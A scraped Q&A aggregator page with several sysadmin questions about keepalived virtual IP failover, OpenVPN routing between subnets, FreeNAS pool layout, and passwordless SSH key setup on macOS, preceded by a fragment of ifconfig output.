Mask:255.255.255.248 inet6 addr: fe80::219:d1ff:fefb:42d8/64 Scope:Link inet6 addr: 2607:f878:1:***::1/64 Scope:Global UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:52451 errors:0 dropped:0 overruns:0 frame:0 TX packets:39729 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:6817761 (6.8 MB) TX bytes:6153835 (6.1 MB) Interrupt:41 Base address:0xc000 lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:166 errors:0 dropped:0 overruns:0 frame:0 TX packets:166 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:31714 (31.7 KB) TX bytes:31714 (31.7 KB)

  Read the article

• Keepalived for more than 20 virtual addresses

  - by cvaldemar

  I have set up keepalived on two Debian machines for high availability, but I've run into the maximum number of virtual IP's I can assign to my vrrp_instance. How would I go about configuring and failing over 20+ virtual IP's? This is the, very simple, setup: LB01: 10.200.85.1 LB02: 10.200.85.2 Virtual IPs: 10.200.85.100 - 10.200.85.200 Each machine is also running Apache (later Nginx) binding on the virtual IPs for SSL client certificate termination and proxying to backend webservers. The reason I need so many VIP's is the inability to use VirtualHost on HTTPS. This is my keepalived.conf: vrrp_script chk_apache2 { script "killall -0 apache2" interval 2 weight 2 } vrrp_instance VI_1 { interface eth0 state MASTER virtual_router_id 51 priority 101 virtual_ipaddress { 10.200.85.100 . . all the way to . 10.200.85.200 } An identical configuration is on the BACKUP machine, and it's working fine, but only up to the 20th IP. I have found a HOWTO discussing this problem. Basically, they suggest having just one VIP and routing all traffic "via" this one IP, and "all will be well". Is this a good approach? I'm running pfSense firewalls in front of the machines. Quote from the above link: ip route add $VNET/N via $VIP or route add $VNET netmask w.x.y.z gw $VIP Thanks in advance. EDIT: @David Schwartz said it would make sense to add a route, so I tried adding a static route to the pfSense firewall, but that didn't work as I expected it would. pfSense route: Interface: LAN Destination network: 10.200.85.200/32 (virtual IP) Gateway: 10.200.85.100 (floating virtual IP) Description: Route to VIP .100 I also made sure I had packet forwarding enabled on my hosts: $ cat /etc/sysctl.conf net.ipv4.ip_forward=1 net.ipv4.ip_nonlocal_bind=1 Am I doing this wrong? I also removed all VIPs from the keepalived.conf so it only fails over 10.200.85.100.

  Read the article

• OpenVPN bridge network from routed clients

  - by gphilip

  I have the following setup: subnet 1 - 10.0.1.0/24 with a machine used as NAT and also running an OpenVPN client subnet 2 - 192.168.1/24 with an OpenVPN server (the server in subnet 1 connect here) subnet 3 - 10.0.2.0/24 that uses the NAT machine (subnet 1) to access the internet, so all non-local traffic is routed there to the eth0 interface The OpenVPN client creates the tun0 interface and appropriate routing so that I can access machines from 192.168.1/24 [root@ip-10-0-1-208 ~]# telnet 192.168.1.186 8081 Trying 192.168.1.186... Connected to 192.168.1.186. Escape character is '^]'. [root@ip-10-0-1-208 ~]# route -n Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface 0.0.0.0 10.0.1.1 0.0.0.0 UG 0 0 0 eth0 10.0.1.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0 10.8.0.1 10.8.0.5 255.255.255.255 UGH 0 0 0 tun0 10.8.0.5 0.0.0.0 255.255.255.255 UH 0 0 0 tun0 169.254.169.254 0.0.0.0 255.255.255.255 UH 0 0 0 eth0 192.168.0.0 10.8.0.5 255.255.0.0 UG 0 0 0 tun0 However, when I try the same from subnet 3, it can't reach that machine. [root@ip-10-0-2-61 ~]# telnet 192.168.1.186 8081 Trying 192.168.1.186... I suspect that it's because subnet 3 is routed to eth0 on the NAT machine in subnet 1 and it cannot jump to tun0. What's the easiest way to resolve it? I don't want to use iptables. I can't change the routing from machines in subnet 1 because it's done in AWS and so it works only with specific interfaces. Also, the NAT machine gets its IP with DHCP and so bridging is a bit complicated. IP forwarding is set on the NAT machine [root@ip-10-0-1-208 ~]# cat /proc/sys/net/ipv4/ip_forward 1 Thank you!

  Read the article

• FreeNAS pool configuration - RAID1 + other drives

  - by trnelson

  Simple questions, really. I found this answer with a similar setup, but not sure it answers my question. If it does, I'm curious why since the answer seems a bit unsure: ZFS Hard Drive Configuration in FreeNAS I'm building a server which will be used primarily for backup, plus some media streaming, possibly with Plex. I seem to understand most everything I need, but I'm still a bit confused on how pools work, and how to configure them for my scenario. I will have 2x 2TB WD Red drives, which I plan on using in a mirrored set up (RAID1). This would be for backup, and I'd also like to do offsite backup to my CrashPlan account from this array. I also have a few other drives: 1.5TB, 320GB, 250GB. I'm not sure exactly what to do with them yet, but looking for options. FreeNAS OS will be running from a 16GB USB Flash drive. Would it be wise to use the 1.5TB as a backup-backup, essentially as a mirror or perhaps for snapshots of the 2TB RAID1? I'm still learning about snapshots. Should the 2TB mirrored drives be in their own pool? Should the other drives be set up in their own pools as well, or should they be JBOD in a single pool? They may or may not get much use since the 2TB array is plenty for me. Does a dataset basically mimic the idea of a partition or a network share? In other words, I would map \SERVER\Share to X: on my laptop? Let's say I wanted to use the 250GB drive as an encrypted drive to store all of my cat pictures. Would it have to be in its own pool? If I use jails apps, should they go in the backup RAID1, or in another place? Thank you!

  Read the article

• How do I connect to SSH without the password to be requested every time ? - Already follow some answers here but it doesn't work

  - by MEM

  MAC OS X Lion 10.7.3 1) On host, I've created an authorized_keys file inside .ssh folder, by doing: touch authorized_keys 2) I've copy my public ssh key into host .ssh folder by doing: scp ~/.ssh/mykey.pub [email protected]:/home/userhost/.ssh/mykey.pub 3) I've place it's contents inside authorized files by doing: cat mykey.pub >> authorized_keys 4) Then I've removed the mykey.pub file: rm mykey.pub 5) On my terminal, locally, inside my ~/.ssh folder I made: ssh-add mykey (notice that it is without the pub extension); 6) I've closed and opened again the terminal. When I first connect to this host, it has being added to the *known_hosts* file inside ~/.ssh; I've pico known_hosts and the hash is there. Still, every time I connect by doing: ssh [email protected] it requests a password ! What am I missing here ? UPDATE: I've done EVEN TWO MORE THINGS here: 7) Set your key to be the default identity - if it doesn't exist, create; touch ~/.ssh/config and place inside the following line: IdentityFile ~/.ssh/yourkeyname *id_rsa is normally your default key. You should switched to your key. This tells that the outgoing ssh connections should use this as a default identity.* 8) Add a bash process to your ssh-agent: ssh-agent bash ssh-add ~/.ssh/yourkeyname Lisinge answer helped but it's not definitive. If we restart our machine, the password gets prompted again!!! How can we debug this? What can we do here? How can we check where is this process failing ? UPDATE 2: If I use: ssh -v -i <keyfile> [email protected] I get among other things: OpenSSH_5.6p1, OpenSSL 0.9.8r 8 Feb 2011 Warning: Identity file yourkeyname not accessible: No such file or directory. This message refers to what? The identify file is not accessible on the localhost, or it's not accessible on the remote host ? Please advice

  Read the article

< Previous Page | 70 71 72 73 74 75 76 77 78 79 80 81  | Next Page >